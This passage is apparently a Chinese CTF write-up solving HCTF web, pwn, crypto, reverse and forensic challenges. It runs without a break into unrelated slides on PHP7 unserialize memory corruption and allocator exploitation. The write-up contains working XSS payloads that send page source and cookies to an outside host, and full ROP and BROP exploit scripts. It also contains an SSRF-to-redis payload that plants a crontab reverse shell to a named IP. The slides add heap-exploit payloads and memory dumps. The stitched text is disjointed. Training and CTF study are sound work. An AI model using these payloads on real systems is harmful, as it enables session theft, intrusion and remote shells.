n 的前一部分与 gen_key 中的 n 相同,因此可以通过相同的一部分得到 u,然后 u des 解密得
到 p4,p4 是 p 中的 640bit,可以对 p4 与 n 用 Coppersmith attack 得到完整 p
p
=
0xa6fb0f78e538c3a514179c984fca1d0a0f184b4d8dc1f3a000c8448f3a230909f8bc9d43ffbe904b67d
939548cba399b58303b261c819342566fa184f3d6bd2dd623981132a7711dd955448d8cf5455e
N
=
0x6ef556110110536b9817a8f9570aee4be4b6f7e4c49eea784a3cb5f0f68eafa0596dcd99ace8802ad9
75fbde513055d0c6be330fb39e18e3db81a5e7ffe93147909e08babb981ffa6f40221d8fe5934e2fd3b26
ea38f992992a6e5abac52fa9311641ba661573f9bd697530c65c1517546eb271f4026d434bafa7eed1ca
40f667d7e52ef61bae8dad6fd9827d1c9b2da330b56148c0bb78eff20aa761b9510c2b2468ceaaa894b2
6d4dfab48d59c5e4e4832d4da569d0a1d90d40dda64693999436ab021235e37ca9bfd6154de833950b
f239e8d836c8ff100370c02e994aab17720bb0303c13b6656d7cd5e5e2bab939d3db78e0b1764ce9066
76d790bc4b49
p = p << 384
F.<x> = PolynomialRing(Zmod(N), implementation='NTL')
f = x - p
p = p - f.small_roots(X=2^384, beta=0.4)[0]
print hex(int(p))
有了 p 得到 q->phi_n->d,最后解密得到 flag
from libnum import invmod
n
=
0x6ef556110110536b9817a8f9570aee4be4b6f7e4c49eea784a3cb5f0f68eafa0596dcd99ace8802ad9
75fbde513055d0c6be330fb39e18e3db81a5e7ffe93147909e08babb981ffa6f40221d8fe5934e2fd3b26
ea38f992992a6e5abac52fa9311641ba661573f9bd697530c65c1517546eb271f4026d434bafa7eed1ca
40f667d7e52ef61bae8dad6fd9827d1c9b2da330b56148c0bb78eff20aa761b9510c2b2468ceaaa894b2
6d4dfab48d59c5e4e4832d4da569d0a1d90d40dda64693999436ab021235e37ca9bfd6154de833950b
f239e8d836c8ff100370c02e994aab17720bb0303c13b6656d7cd5e5e2bab939d3db78e0b1764ce9066
76d790bc4b49L
p
=
0xa6fb0f78e538c3a514179c984fca1d0a0f184b4d8dc1f3a000c8448f3a230909f8bc9d43ffbe904b67d
939548cba399b58303b261c819342566fa184f3d6bd2dd623981132a7711dd955448d8cf5455e0770
15cd9d96370cea5e21d69e93ca2a10c11149f1340db391c70aef925e9b1cd5ed55dc49295e7a4d3048
cd52102f93L
q = n / p
phi_n = (p - 1) * (q - 1)
e = 0x9b95
d = invmod(e, phi_n)
flag
=
0x27e18a2101e7031f1afc70e40d62e04ab3b55a5433708c4cd45c3d070e31041ee8d24333a9c66210
4bf8fb2c7cc4143d502cd5411ee8750ef2a167e058077a22d7b25c4d1d0a31639584baafa1d88ad59c4
162b7defb8b51f093e423e9a78387b457a0ede39328f9d9a57b547b1b0bc8f6d1d4fed78205e779f1f24
728c2d601894c5d97e244b9775b3b03dc884d07af138ddd1ed9dc7a97135f29e5ece1bc1e4e3ed00a3
dc3e936046f7babbe1ab4bfc1a6f0985a508fa8821f42b9411c4b97508b417307b747f955ea8b920c761
a9202e2bbc691e6cc8338d5aa58025c45a731e33b2e2ee046f8a6529496262dcaa6d17ecde7846b1fe5
89bbe541ee2eece3L
my_flag = pow(flag, d, n)
my_flag = hex(my_flag)[2:-1].decode('hex')
print my_flag
5.Web-guestbook
很典型的一个绕过 csp 的题目,通过 header 头可以看到 csp 的策略
```
Content-Security-Policy:default-src
'self';
script-src
'self'
'unsafe-inline';
font-src
'self'
fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'
```
根据这个我们发现这个策略很简单,非常类似一般 chrome 浏览器的 csp 策略,题目过滤的
scripte 之类的关键词通过双写可以绕过,单引号换成双引号,就可以了.但是题目有一个
坑...flag 不在 session 中,在源码中.
最终 payload 如下,双写绕过过滤,将 base64 的编码回传到我的平台上,解码得到 flag
```
<scscriptript>
var n0t = document.createElement("linlinkk");
n0t.setAttribute("rel", "prefetch");
var alb = document.documentElement.outerHTML;
albe1 = alb.substring(500,1200);
n0t.setAttribute("href", "//xss.albertchang.cn/?" + btoa(albe1);
document.head.appendChild(n0t);
</scrscriptipt>
```
flag:hctf{c5p_1s_g0od7h1ng2333}
6.Pwn-asm
4 号指令可以泄露 PIE 地址,利用 pop 泄露 LIBC 与栈地址,利用 push 写到栈上做 ROP
脚本:
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import *
# opcode : low 4 bit : opcode, high 4 byte : op cnt
# optype follows, each take 4 bit, lsb
# immop follows, each take 4 byte
# executable : 'hfex' signature - 4 byte, dataseg size - 4 byte, |data seg|, |code seg|
def toNumber(s):
if s.startswith('0x'):
return int(s[2:], 16)
elif s.startswith('0b'):
return int(s[2:], 2)
return int(s, 10)
def make_operand(op):
if op == 'r0':
return (1, None)
elif op == 'r1':
return (2, None)
elif op == 'r2':
return (3, None)
elif op == 'sp':
return (4, None)
elif op == 'pc':
return (5, None)
elif op.startswith('*'):
return (6, toNumber(op[1:]))
# dataseg xxx, obsolete
return None
def make_opcode(opcode, operandcnt):
return opcode | (operandcnt << 4)
def make_optype(optype1, optype2):
return optype2 | (optype1 << 4)
def push(op1):
imm_list = []
opcode = make_opcode(1, 1)
op1_parsed = make_operand(op1)
if op1_parsed[0] == 6:
imm_list.append(op1_parsed[1])
optype = make_optype(op1_parsed[0], 0)
data = ''
data += p8(opcode)
data += p8(optype)
for imm in imm_list:
data += p32(imm)
return data
def pop(op1):
imm_list = []
opcode = make_opcode(2, 1)
op1_parsed = make_operand(op1)
if op1_parsed[0] == 6:
imm_list.append(op1_parsed[1])
optype = make_optype(op1_parsed[0], 0)
data = ''
data += p8(opcode)
data += p8(optype)
for imm in imm_list:
data += p32(imm)
return data
def move_imm(op1, op2):
imm_list = []
opcode = make_opcode(4, 2)
op1_parsed = make_operand(op1)
op2_parsed = make_operand(op2)
if op1_parsed[0] == 6:
imm_list.append(op1_parsed[1])
if op2_parsed[0] == 6:
imm_list.append(op2_parsed[1])
optype = make_optype(op1_parsed[0], op2_parsed[0])
data = ''
data += p8(opcode)
data += p8(optype)
for imm in imm_list:
data += p32(imm)
return data
def move_mem(op1, op2):
imm_list = []
opcode = make_opcode(3, 2)
op1_parsed = make_operand(op1)
op2_parsed = make_operand(op2)
if op1_parsed[0] == 6:
imm_list.append(op1_parsed[1])
if op2_parsed[0] == 6:
imm_list.append(op2_parsed[1])
optype = make_optype(op1_parsed[0], op2_parsed[0])
data = ''
data += p8(opcode)
data += p8(optype)
for imm in imm_list:
data += p32(imm)
return data
def cmp(op1, op2):
imm_list = []
opcode = make_opcode(7, 2)
op1_parsed = make_operand(op1)
op2_parsed = make_operand(op2)
if op1_parsed[0] == 6:
imm_list.append(op1_parsed[1])
if op2_parsed[0] == 6:
imm_list.append(op2_parsed[1])
optype = make_optype(op1_parsed[0], op2_parsed[0])
data = ''
data += p8(opcode)
data += p8(optype)
for imm in imm_list:
data += p32(imm)
return data
def ja(op1):
imm_list = []
opcode = make_opcode(9, 1)
op1_parsed = make_operand(op1)
if op1_parsed[0] == 6:
imm_list.append(op1_parsed[1])
optype = make_optype(op1_parsed[0], 0)
data = ''
data += p8(opcode)
data += p8(optype)
for imm in imm_list:
data += p32(imm)
return data
def add(op1, op2, op3):
imm_list = []
opcode = make_opcode(0xC, 3)
op1_parsed = make_operand(op1)
op2_parsed = make_operand(op2)
op3_parsed = make_operand(op3)
if op1_parsed[0] == 6:
imm_list.append(op1_parsed[1])
if op2_parsed[0] == 6:
imm_list.append(op2_parsed[1])
if op3_parsed[0] == 6:
imm_list.append(op3_parsed[1])
optype = make_optype(op1_parsed[0], op2_parsed[0])
optyp2 = make_optype(op3_parsed[0], op3_parsed[0])
data = ''
data += p8(opcode)
data += p8(optype)
data += p8(optyp2)
for imm in imm_list:
data += p32(imm)
return data
def sub(op1, op2, op3):
imm_list = []
opcode = make_opcode(0xb, 3)
op1_parsed = make_operand(op1)
op2_parsed = make_operand(op2)
op3_parsed = make_operand(op3)
if op1_parsed[0] == 6:
imm_list.append(op1_parsed[1])
if op2_parsed[0] == 6:
imm_list.append(op2_parsed[1])
if op3_parsed[0] == 6:
imm_list.append(op3_parsed[1])
optype = make_optype(op1_parsed[0], op2_parsed[0])
optyp2 = make_optype(op3_parsed[0], op3_parsed[0])
data = ''
data += p8(opcode)
data += p8(optype)
data += p8(optyp2)
for imm in imm_list:
data += p32(imm)
return data
def call(funcname):
opcode = make_opcode(6, len(funcname))
data = p8(opcode)
data += funcname
return data
def main():
dataseg_size = 0
header = 'hfex' + p32(dataseg_size)
header = header.ljust(8 + dataseg_size, '\x00')
free_hook_offset = 0x1B18B0
read_offset = 0xD41C0
system_offset = 0x3A940
environ_offset = 0x1B1DBC
binsh_offset = 0x0158E8B
stack_offset = 212
'''
free_hook_offset = 0x1AC8D8
read_offset = 0xDAF60
system_offset = 0x40310
environ_offset = 0x1ACE00
binsh_offset = 0x16084C
'''
# use sp for arbitary read, stack lower than libc, higher than binary
# but wtf ??? heap addr higher than libc on server???
code = ''
#code += move_imm('r0', 'r1')
# leak pie, -0x3078 = base, got = base + 0x3018
code += move_mem('r0', 'sp')
# set xxx
code += move_imm('sp', 'r1')
code += sub('sp', 'sp', '*0x68')
code += pop('r2')
code += move_imm('r0', '*1')
# get stack frame
code += sub('r2', 'r2', '*' + hex(read_offset))
# r2 = libc
code += move_mem('r1', 'r2')
#code += add('r1', 'r1', '*' + hex(system_offset))
code += add('r1', 'r1', '*' + hex(environ_offset))
code += move_mem('sp', 'r1')
code += pop('r0')
# get environ
code += sub('sp', 'r0', '*' + hex(stack_offset-0x10))
code += add('r1', 'r2', '*' + hex(binsh_offset))
code += push('r1')
# push arg
code += add('r1', 'r2', '*' + hex(system_offset))
code += push('r1')
code += push('r1')
code += push('r1')
final_gen = header + code
with open('gen.bin', 'wb') as f:
f.write(final_gen)
return
if __name__ == '__main__':
main()
7.Pwn-出题人失踪了
用 BROP,很厉害啊。。。思路是先爆破出__libc_csu_init 最后的 6 个 pop 的 gadget 的地址,可
以用一些字符的回显来知道没有 crash,然后爆破 got 表中 puts 的地址,之后就可以把整个
bin dump 出来,最后 rop 执行 system(“/bin/sh”)
from pwn import *
import time
io = remote('115.28.78.54', 13455)
io.recvuntil('please input you token: ')
token = '33f7f88e95f8ed17631ed655513e2ac6GHrQhlnc'
io.send(token)
io.recvuntil('Do you know password?\n')
pop_pop_pop_pop_pop_pop_ret = 0x4007ba
puts_got = 0x601018
call_gadget = pop_pop_pop_pop_pop_pop_ret - (0x400E6A - 0x400E50)
pop_rdi = pop_pop_pop_pop_pop_pop_ret + (0x400E72 - 0x400E6A + 1)
payload = 'A' * 72
payload += p64(0x4007ba) + p64(0) + p64(1) + p64(puts_got) + p64(1) * 2 + p64(puts_got)
payload += p64(call_gadget) + p64(1) * 7
payload += p64(0x40072d)
io.send(payload)
content = io.recv()
puts_addr = u64(content[:-1] + '\x00\x00')
log.info('puts_addr:%#x' % puts_addr)
offset_system = 0x45390
offset_str_bin_sh = 0x18c177
system_addr = puts_addr - (0x6f690 - offset_system)
bin_sh_addr = puts_addr - (0x6f690 - offset_str_bin_sh)
payload = 'A' * 72
payload += p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
io.send(payload)
io.interactive()
Level4
1.Web-大图书馆的牧羊
审计代码发现 comm.php 存放的是对 cookie 加密解密的函数,伪造 admin 进行登录。发现
upload.php 可上传 zip 文件,只对文件类型校验,burp 绕过即可,上传 zip 文件,自解压拿到
shell
2.Reverse-flip
qt 前两层直接 patch 绕过了
一个关灯游戏,第二关的通关步骤作为 xorkey 异或一个 463 大小的数组,把每个输入的字
节分成高 4 位和低 4 位,从两边往中间校验,看处理结果是否得到九个 0xff,flag 的最后 5
个数字是防作弊用的,思路就是爆破得到 xorkey 为 6 - 4 - 1 - 8 - 2 - 1 - 0,再逐
位爆破得到 flag 为 hctf{L1ttl3_f1ip_Gam3_f0r_32169}
3.Web-secret area
拿到题目,发现还是 csp 的绕过,只是这次...
```
Content-Security-Policy:default-src
'self';
script-src
http://sguestbook.hctf.io/static/
'sha256-n+kMAVS5Xj7r/dvV9ZxAbEX6uEmK+uen+HZXbLhVsVA='
'sha256-2zDCsAh4JN1o1lpARla6ieQ5KBrjrGpn0OAjeJ1V9kg='
'sha256-SQQX1KpZM+ueZs+PyglurgqnV7jC8sJkUMsG9KkaFwQ='
'sha256-JXk13NkH4FW9/ArNuoVR9yRcBH7qGllqf1g5RnJKUVg='
'sha256-NL8WDWAX7GSifPUosXlt/TUI6H8JU0JlK7ACpDzRVUc='
'sha256-CCZL85Vslsr/bWQYD45FX+dc7bTfBxfNmJtlmZYFxH4='
'sha256-2Y8kG4IxBmLRnD13Ne2JV/V106nMhUqzbbVcOdxUH8I='
'sha256-euY7jS9jMj42KXiApLBMYPZwZ6o97F7vcN8HjBFLOTQ='
'sha256-V6Bq3u346wy1l0rOIp59A6RSX5gmAiSK40bp5JNrbnw=';
font-src
http://sguestbook.hctf.io/static/ fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src
'self'
```
csp 很复杂,但是大部分都没用,开始没啥思路,后来发现存在一个 php 叫 redirect.php,文件位
于 static 目录下,正好是 script 标签可以访问的路径

所以可以上传一个头像去获取 session.然后构造双写绕过 script,访问 redirect.php,重定向到
头像那个地址,从而实现绕过 csp 的
最终 payload:
```
<scrscriptipt
src=http://sguestbook.hctf.io/static/redirect.php?u=http://sguestbook.hctf.io/upload/d35f
156a60a5cf3423b28d79d4426832></scscriptript>
```
`http://sguestbook.hctf.io/upload/d35f156a60a5cf3423b28d79d4426832`内容
```
var coo = document.cookie;
location.href="http://xss.albertchang.cn/?coo="+coo;
```
4.Forensic
下载得到一个 docker image,需要寻找后门。攻击者利用 mysql 入侵,利用 opcache 留了
后门,但是服务器是 64 位的 php,所以 opcache 不能直接使用 github 上项目的工具分析,
本 来 打 算 修 改 工 具 。 后 发 现 .viminfo 文 件 , 根 据
vim 历 史 发 现 被 修 改 的 文 件 是
class-wp.php.bin 直接 strings 分析,最后有一个 base64 编码的字符串,解密得到 flag。
5. Web-AT field1
标准的送分题目`link=http://xss.albertchang.cn/albert.php?albertchang=http://127.0.0.1`,
直接拿到 flag
6.Web-AT field2
根据多个 hint,首先扫到一个 README.md,解码 base64 发现存在 redis,扫一发内网,在
192.168.0.10 上发现 redis,之后参考 redis 内网未授权访问控制 crontab 写 shell,[参考文
献](https://security.tencent.com/index.php/blog/msg/106),根据这个构造 payload,当请求
为 503 的时候表示成功写入到 cron 中.
最终 payload:
```
link=http://xss.albertchang.cn/albert.php?albertchang=http://192.168.0.10%25250d%25250
a%252a3%25250d%25250a%2525243%25250d%25250aset%25250d%25250a%2525241%25250d%2525
0a1%25250d%25250a%25252462%25250d%25250a%25250a%252a%25252F1%252520%252a%252520%
252a%252520%252a%252520%252a%252520%25252Fbin%25252Fbash%252520-i%252520%25253E%2
52526%252520%25252Fdev%25252Ftcp%25252F45.32.42.203%25252F10010%2525200%25253E%2
525261%25250a%25250d%25250aconfig%252520set%252520dir%252520%25252Fvar%25252Fspool%
25252Fcron%25252F%25250d%25250aconfig%252520set%252520dbfilename%252520root%25250d%2
5250asave%25250d%25250a%253A6379%252f
```
在自己的 vps 上监听 10010,得到 shell
Level5
1.Web-魔法禁书目录
跟大图书馆代码应该类似,通过分析大图书馆的代码,发现是 aes,采用 cbc 字节翻转攻击
得到 cookie,然后是 xxe 攻击,上传构造好的文件即可拿到 flag。不过貌似有过滤,直接读
file:///var/www/html/flag.php 不行,可以利用 base64 进行绕过
题目: | pdf |
©2016 Check Point Software Technologies Ltd.
PHP7 Memory Internals
for Security Researchers
Yannay Livneh | Security Researcher
TEACHING THE NEW
DOG OLD TRICKS
About Me
• Yannay Livneh
• Security Researcher @ CheckPoint
• Play w/
– Networks
– Embedded
– Linux
– Memory Corruptions
– and stuff
.
AGENDA
• Introduction
• PHP Unserialize
• ZVAL System
• Unserialize + ZVAL => Bugs
• Allocator
• Bugs + Allocator => Exploit
• Q.E.D.
.
(THIS WORLD WE LIVE IN)
PHP – its interesting
• Widely used
• Servers rule the world
• PHP-7 - future
.
PHP Security
• Vulns vulns vulns
• SQL Injection
• XSS
• Memory corruption?
– Native functions
– User input
• UNSERIALIZE
.
Unserialize History of Insecurity
• More CVEs than I can count
• Object Injection (PoP)
• Memory Corruptions
• Generic Exploitation (@i0n1c)
.
Examples in the wild
.
PHP-7
• Released in December 2015
• New values (zval) system
• New Memory Allocation
• => previous exploitation irrelevant
.
Unserialize Nowadays – PHP-7
• Some CVEs
• Object Injection (PoP)
• Memory Corruptions
• No Remote Exploits
.
UNSERIALIZE
(WHAT WE EXPLOIT)
Unserialize
Serialize/Unserialize
Serialization
$val = array(
NULL,
1337,
‘apple’,
array(
‘a’ => 1,
new stdClass(),
7331
)
);
serialize($val);
Serialization
a:4:{
}
$val = array(
NULL,
1337,
‘apple’,
array(
‘a’ => 1,
new stdClass(),
7331
)
);
serialize($val);
Serialization
a:4:{i:0;N;
}
$val = array(
NULL,
1337,
‘apple’,
array(
‘a’ => 1,
new stdClass(),
7331
)
);
serialize($val);
Serialization
a:4:{i:0;N;i:1;i:1337;
}
$val = array(
NULL,
1337,
‘apple’,
array(
‘a’ => 1,
new stdClass(),
7331
)
);
serialize($val);
Serialization
a:4:{i:0;N;i:1;i:1337;i:2;s:5:”apple”;
}
$val = array(
NULL,
1337,
‘apple’,
array(
‘a’ => 1,
new stdClass(),
7331
)
);
serialize($val);
Serialization
a:4:{i:0;N;i:1;i:1337;i:2;s:5:”apple”;
i:3;a:3:{
}}
$val = array(
NULL,
1337,
‘apple’,
array(
‘a’ => 1,
new stdClass(),
7331
)
);
serialize($val);
Serialization
a:4:{i:0;N;i:1;i:1337;i:2;s:5:”apple”;
i:3;a:3:{s:1:”a”;i:1;
}}
$val = array(
NULL,
1337,
‘apple’,
array(
‘a’ => 1,
new stdClass(),
7331
)
);
serialize($val);
Serialization
a:4:{i:0;N;i:1;i:1337;i:2;s:5:”apple”;
i:3;a:3:{s:1:”a”;i:1;i:0;O:8:”stdClass
”:0:{} }}
$val = array(
NULL,
1337,
‘apple’,
array(
‘a’ => 1,
new stdClass(),
7331
)
);
serialize($val);
Serialization
a:4:{i:0;N;i:1;i:1337;i:2;s:5:”apple”;
i:3;a:3:{s:1:”a”;i:1;i:0;O:8:”stdClass
”:0:{}i:1;i:7331;}}
$val = array(
NULL,
1337,
‘apple’,
array(
‘a’ => 1,
new stdClass(),
7331
)
);
serialize($val);
.
Unserialization
unserialize(‘a:4:{i:0;N;i:1;i:1337;
i:2;s:5:”apple”;i:3;a:3:{s:1:”a”;i:1;
i:0;O:8:”stdClass”:0:{}i:1;R:3;}}’);
var_hash
Unserialization
unserialize(‘a:4:{i:0;N;i:1;i:1337;
i:2;s:5:”apple”;i:3;a:3:{s:1:”a”;i:1;
i:0;O:8:”stdClass”:0:{}i:1;R:3;}}’);
var_hash
1
array
Unserialization
unserialize(‘a:4:{i:0;N;i:1;i:1337;
i:2;s:5:”apple”;i:3;a:3:{s:1:”a”;i:1;
i:0;O:8:”stdClass”:0:{}i:1;R:3;}}’);
var_hash
1
2
array
0
NULL
Unserialization
unserialize(‘a:4:{i:0;N;i:1;i:1337;
i:2;s:5:”apple”;i:3;a:3:{s:1:”a”;i:1;
i:0;O:8:”stdClass”:0:{}i:1;R:3;}}’);
var_hash
1
2
3
array
0
NULL
1
1337
Unserialization
unserialize(‘a:4:{i:0;N;i:1;i:1337;
i:2;s:5:”apple”;i:3;a:3:{s:1:”a”;i:1;
i:0;O:8:”stdClass”:0:{}i:1;R:3;}}’);
var_hash
1
2
3
4
array
0
NULL
1
1337
2
‘apple’
Unserialization
unserialize(‘a:4:{i:0;N;i:1;i:1337;
i:2;s:5:”apple”;i:3;a:3:{s:1:”a”;i:1;
i:0;O:8:”stdClass”:0:{}i:1;R:3;}}’);
var_hash
1
2
3
4
5
array
0
NULL
1
1337
2
‘apple’
3
array
Unserialization
unserialize(‘a:4:{i:0;N;i:1;i:1337;
i:2;s:5:”apple”;i:3;a:3:{s:1:”a”;i:1;
i:0;O:8:”stdClass”:0:{}i:1;R:3;}}’);
var_hash
1
2
3
4
5
6
array
0
NULL
1
1337
2
‘apple’
3
array
‘a’
1
Unserialization
unserialize(‘a:4:{i:0;N;i:1;i:1337;
i:2;s:5:”apple”;i:3;a:3:{s:1:”a”;i:1;
i:0;O:8:”stdClass”:0:{}i:1;R:3;}}’);
var_hash
1
2
3
4
5
6
7
array
0
NULL
1
1337
2
‘apple’
3
array
‘a’
1
0
stdClass()
Unserialization
unserialize(‘a:4:{i:0;N;i:1;i:1337;
i:2;s:5:”apple”;i:3;a:3:{s:1:”a”;i:1;
i:0;O:8:”stdClass”:0:{}i:1;R:3;}}’);
var_hash
1
2
3
4
5
6
7
array
0
NULL
1
1337
2
‘apple’
3
array
‘a’
1
0
stdClass()
1
.
Unserialize Take Away
• Complicated format
• User control allocation
• “Global” references
• Re-use values
.
(HOW VALUES ARE STORED)
Zvals
• Holds PHP variables
• $x = 1;
• Features:
– Garbage collection
– References: $y = &$x;
.
Old (PHP-5) Zvals
• Zval is a pointer
• Zval creation => allocate struct
• GC – refcount + cycle detection
• Reference – point same struct
.
New Zvals motivation
• Less derefs
• Less allocations
• Designed for embedding
– In structs
– In arrays
– On the stack
.
New Zvals
• Zval is a struct
• Only value & type
• zend_value: union
– primitive value
– pointer to struct
.
Example: int
$x = 1337;
zval struct
value
1337
type
IS_LONG
.
New Zvals - GC
• Refcount depends on type
– Not refcounted: primitives
– Refcounted: complex types
Example: string
Example: string
$x = “apple”;
zval struct
value
type
IS_STRING
_zend_string
refcount
hash
len
val[]
_zend_string
refcount
0
hash
0
len
5
val[]
‘a’
‘p’
‘p’
‘l’
‘e’
‘\0’
_zend_string
refcount
1
hash
0
len
5
val[]
‘a’
‘p’
‘p’
‘l’
‘e’
‘\0’
.
New Zvals – references
• New type: reference
$x = 1337;
zval struct ($x)
value
1337
type
IS_LONG
New Zvals – references
• New type: reference
zval struct ($x)
value
1337
type
IS_LONG
_zend_reference
refcount
0
val
zval struct
value
1337
type
IS_LONG
$x = 1337;
$y = &$x;
New Zvals – references
• New type: reference
$x = 1337;
$y = &$x;
zval struct ($x)
value
type
IS_REFERENCE
_zend_reference
refcount
1
val
zval struct
value
1337
type
IS_LONG
New Zvals – references
• New type: reference
$x = 1337;
$y = &$x;
zval struct ($x)
value
type
IS_REFERENCE
zval struct ($y)
value
type
IS_REFERENCE
_zend_reference
refcount
2
val
zval struct
value
1337
type
IS_LONG
.
ZVALS Take Away
• Designed for embedding
• Less derefs & heap use
• References - complicated
.
(AKA vulns)
Use Uninitialized Value
• SplObjectStorage::unserialize
• Which leads to
– rval = &inf
.
Type Confusion
• Making a Reference…
• Change type
• SplObjectStorage::unserialize
.
Type Confusion
php_var_unserialize(&entry)
Type Confusion
php_var_unserialize(&entry)
zval struct (entry)
value
type
IS_OBJECT
_zend_object
….
Type Confusion
php_var_unserialize(&entry)
if (Z_TYPE(entry) != IS_OBJECT) { /* ERROR!!! */ }
zval struct (entry)
value
type
IS_OBJECT
_zend_object
….
Type Confusion
php_var_unserialize(&entry)
if (Z_TYPE(entry) != IS_OBJECT) { /* ERROR!!! */ }
php_var_unserialize(&inf)
zval struct (entry)
value
type
IS_OBJECT
_zend_object
….
Type Confusion
php_var_unserialize(&entry)
if (Z_TYPE(entry) != IS_OBJECT) { /* ERROR!!! */ }
php_var_unserialize(&inf)
zval struct (entry)
value
type
IS_OBJECT
_zend_reference
refcount 0
val
zval struct
value
type
IS_OBJECT
_zend_object
….
Type Confusion
php_var_unserialize(&entry)
if (Z_TYPE(entry) != IS_OBJECT) { /* ERROR!!! */ }
php_var_unserialize(&inf)
zval struct (entry)
value
type
IS_REFERENCE
_zend_reference
refcount 1
val
zval struct
value
type
IS_OBJECT
_zend_object
….
Type Confusion
php_var_unserialize(&entry)
if (Z_TYPE(entry) != IS_OBJECT) { /* ERROR!!! */ }
php_var_unserialize(&inf)
zval struct (entry)
value
type
IS_REFERENCE
_zend_reference
refcount 2
val
zval struct
value
type
IS_OBJECT
zval struct (inf)
value
type
IS_REFERENCE
_zend_object
….
.
Use After Free
• Pointing to dynamic struct
• var_unserializer.c:process_nested_data
• data points to ht
• data stored in var_hash
• when ht resized
• ht reallocated
.
Use After Free
var_hash
zval struct
value
type
IS_OBJECT
_zend_object
…
properites
.
zval struct
zval struct
value
0
value
1
type
IS_LONG
type
IS_LONG
zval struct
zval struct
zval struct
value
0
value
1
value
2
type
IS_LONG
type
IS_LONG
type
IS_LONG
Use After Free
• Not very common
• Unserialize ensure size ht
• Yet…
• __wakeup define property
• DateInterval add properties
.
Bugs Take Away
• More unserialize vulns
• Different vulns
• Use freed values
.
(WHERE MEMORY COMES FROM)
Old (PHP-5) Allocator
• Heap
• Meta data per slot
– Size
– Flags
• Free List
.
PHP-7 Allocator
• Complete Rewrite
• Bins
• Free Lists
.
Allocator
• Allocate CHUNK from OS (2MB)
• Divide to PAGES (4096B)
• First page – descriptor
– List of allocated and free pages
– Pointers to BINS
• BIN
– free list
– By size
– Multiple pages
.
New CHUNK
CHUNK
chunk
descriptor
free_slots
page_info
.
New BIN
CHUNK
chunk
descriptor
free_slots
page_info
16
…
.
emalloc(size)
bin_num = size2bin(size)
if NULL == heap->free_slots[bin_num]
init_bin(heap, bin_num)
return pop(heap->free_slots[bin_num])
emalloc
CHUNK
chunk
descriptor
free_slots
page_info
16
…
32
.
efree(ptr)
chunk = ptr & MASK_2M
page_num = (ptr & (! MASK_2M)) >> OFFSET_4K
bin = page2bin(chunk, page)
push(chunk->heap->free_slots[bin], ptr)
efree
CHUNK
chunk
descriptor
free_slots
page_info
16
…
32
.
Allocator Take Away
• Allocation predictability
• Impossible free() arbitrary memory
– Bit operations
– Lookup in page descriptor
• Abuse free list pointer – arbitrary write
– Will explain in a few slides
.
EXPLOIT
(GETTING THINGS DONE)
Exploitation Stages
• Leak
• Read
• Write
• Exec
.
Leak
• Abuse the Allocator
• Roughly based on @i0n1c’s method
• Serialize freed object
• Allocator override
• Read more freed data
.
Leak Theory
• Allocator free list
• first sizeof(void*) point to next slot
• Read freed object
• Read via pointer to next slot
– i.e. read prev freed object
.
DateInterval
.
DateInterval
Heap Address Leak
• Allocate DateInterval
• Allocate object to leak - string
• Free both objects
• Allocator point DateInterval to string
• Allocator overwrite string with pointers
• Serialize
.
DateInterval
DateInterval
DateInterval
.
Read Memory
• If you control a zval – forge a DateInterval
• If you don’t
– Free DatePeriod object
– serialization - pointer to strcpy
– More info in paper
.
Write Memory
• free() strings
• String contain pointers
• Abuse free list
– inc/dec => point to free slot
• Allocate memory
• Allocation of arbitrary pointer
.
Freeing Strings
• Unserialize hash table (array)
• Use same key twice
– e.g. a:2:{s:4:”AAAA”;i:0;s:4:”AAAA”;i:0;}
• Second time - key freed
.
Abuse Possible
•
Slot next – first field
•
Refcount is first field
•
e.g. _zend_object
•
UAF – add/dec ref
•
Actually inc/dec next
.
Abusing Free List
[Restricted] ONLY for designated groups
and individuals
…s:31:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:0;s:31:"AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA";a:2:{s:31:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:0;s:31:"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";a:0:{}}i:3;C:11:"ArrayObject":18:{x:i:0;r:11
;;m:r:2;}i:4;r:11;i:5;r:11;i:6;r:11;i:7;r:11;i:8;r:11;i:9;r:11;i:10;r:11;i:11;…
0xb5c531e0: 0xb5c53270 0x80000001 0x00000012 0xfffffffe
0xb5c531f0: 0xb72170bc 0x00000000 0x00000000 0x00000008
0xb5c53200: 0xffffffff 0x00000000 0xb6d3fca0 0x00414141
0xb5c53210: 0x00000002 0x00000007 0x0000000a 0xfffffff8
0xb5c53220: 0xb5c5f2c0 0x00000001 0x00000001 0x00000008
0xb5c53230: 0x00000000 0x00000000 0xb6d3fca0 0x00000000
0xb5c53240: 0x00000001 0x00000006 0xb727e264 0x0000001f
0xb5c53250: 0x41414141 0x41414141 0x41414141 0x41414141
0xb5c53260: 0x41414141 0x41414141 0x41414141 0x00414141
0xb5c53270: 0xb5c532d0 0x00000006 0xb727e264 0x0000001f
0xb5c53280: 0x41414141 0x41414141 0x41414141 0x41414141
0xb5c53290: 0x41414141 0x41414141 0x41414141 0x00414141
0xb5c532a0: 0x00000002 0x00000007 0x00000012 0xfffffffe
0xb5c532b0: 0xb72170bc 0x00000000 0x00000000 0x00000008
0xb5c532c0: 0xffffffff
0x00000000
0xb6d3fca0
0x00000000
heap->free_list[bin_num]
Abusing Free List
[Restricted] ONLY for designated groups
and individuals
…s:31:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:0;s:31:"AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA";a:2:{s:31:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:0;s:31:"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";a:0:{}}i:3;C:11:"ArrayObject":18:{x:i:0;r:1
1;;m:r:2;}i:4;r:11;i:5;r:11;i:6;r:11;i:7;r:11;i:8;r:11;i:9;r:11;i:10;r:11;i:11;…
0xb5c531e0: 0xb5c53272 0x80000001 0x00000012 0xfffffffe
0xb5c531f0: 0xb72170bc 0x00000000 0x00000000 0x00000008
0xb5c53200: 0xffffffff 0x00000000 0xb6d3fca0 0x00414141
0xb5c53210: 0x00000002 0x00000007 0x0000000a 0xfffffff8
0xb5c53220: 0xb5c5f2c0 0x00000001 0x00000001 0x00000008
